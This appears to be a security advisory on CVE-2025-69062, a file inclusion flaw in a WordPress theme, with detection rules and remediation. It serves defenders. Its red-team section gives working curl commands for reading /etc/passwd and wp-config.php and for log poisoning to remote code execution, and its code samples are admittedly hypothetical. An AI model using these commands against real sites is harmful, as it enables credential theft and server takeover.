CVE-2025-69062

Executive Summary

CVE-2025-69062 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Weedles WordPress theme by AncoraThemes, up to and including version 1.1.12. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), and under certain configurations, may enable remote code execution via log poisoning or file uploads. The CVSS score is 8.1 (High), and no official patch is available. Given the WordPress ecosystem context, this vulnerability poses a significant risk to sites using the affected theme.

Supply Chain & Package Security

This vulnerability is specific to the WordPress theme ecosystem. The Weedles theme is distributed via the WordPress theme repository and third-party marketplaces. Users should verify the integrity of their theme files and consider replacing the theme entirely if no patch is available.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the ease of exploitation and the potential for sensitive data exposure.

Deep Dive & Mechanics

The vulnerability exists in the Weedles theme's PHP code, likely within a custom template or plugin file that uses include() or require() with user-supplied input. The theme fails to sanitize or validate the filename parameter, allowing an attacker to traverse directories using ../ sequences.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include("templates/" . $file . ".php");
?>

An attacker can exploit this by sending a request like:

http://target.com/?file=../../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension append.

Vulnerable vs. Patched Code

Vulnerable Code (Weedles <= 1.1.12):

<?php
// No input validation
$template = $_GET['template'];
include("theme-parts/" . $template . ".php");
?>

Patched Code (Hypothetical):

<?php
$allowed_templates = ['header', 'footer', 'sidebar'];
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include("theme-parts/" . $template . ".php");
} else {
    // Handle error
}
?>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running WordPress with Weedles theme <= 1.1.12
• No WAF or input filtering

Step 1: Basic LFI to read /etc/passwd

curl "http://target.com/?template=../../../../etc/passwd%00"

Step 2: Read WordPress configuration

curl "http://target.com/?template=../../../../wp-config.php%00"

Step 3: Log Poisoning for RCE (if writable logs)

1. Inject PHP code into access log via User-Agent:

curl -A "<?php system($_GET['cmd']); ?>" "http://target.com/"

2. Include the log file:

curl "http://target.com/?template=../../../../var/log/apache2/access.log%00&cmd=id"

Blue Team (Detection & Hardening)

Detection:

• Monitor for ../ sequences in GET/POST parameters.
• Alert on attempts to include sensitive files (e.g., /etc/passwd, wp-config.php).

Hardening:

• Disable the vulnerable theme immediately.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns.
• Set allow_url_include = Off in php.ini.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /wp-config.php, /var/log/apache2/access.log
• URL Patterns: ?template=../../, ?file=../
• Log Entries: Requests containing %00 (null byte) or ../ in parameters.
• User-Agent: Suspicious strings like <?php system(...); ?>

Detection Engineering

YARA Rule

rule CVE_2025_69062_LFI_Weedles {
    meta:
        description = "Detects LFI attempts targeting Weedles theme"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-69062"
    strings:
        $path_traversal = /(\.\.\/){2,}/
        $sensitive_file = /(etc\/passwd|wp-config\.php|boot\.ini)/
        $null_byte = /\x00/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-69062 Weedles LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in Weedles theme
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'template=../'
            - 'file=../'
            - '%00'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-69062 Weedles LFI Attempt"; flow:to_server,established; content:"template="; nocase; content:"../"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable or remove the Weedles theme from all WordPress installations.
2. Short-term: Implement a WAF rule to block ../ and %00 in request parameters.
3. Long-term: Replace the theme with a maintained alternative. Monitor the vendor for patches.
4. Compensating Controls: Ensure allow_url_include = Off and open_basedir is properly configured.

Valters IT
Securing Digital Frontiers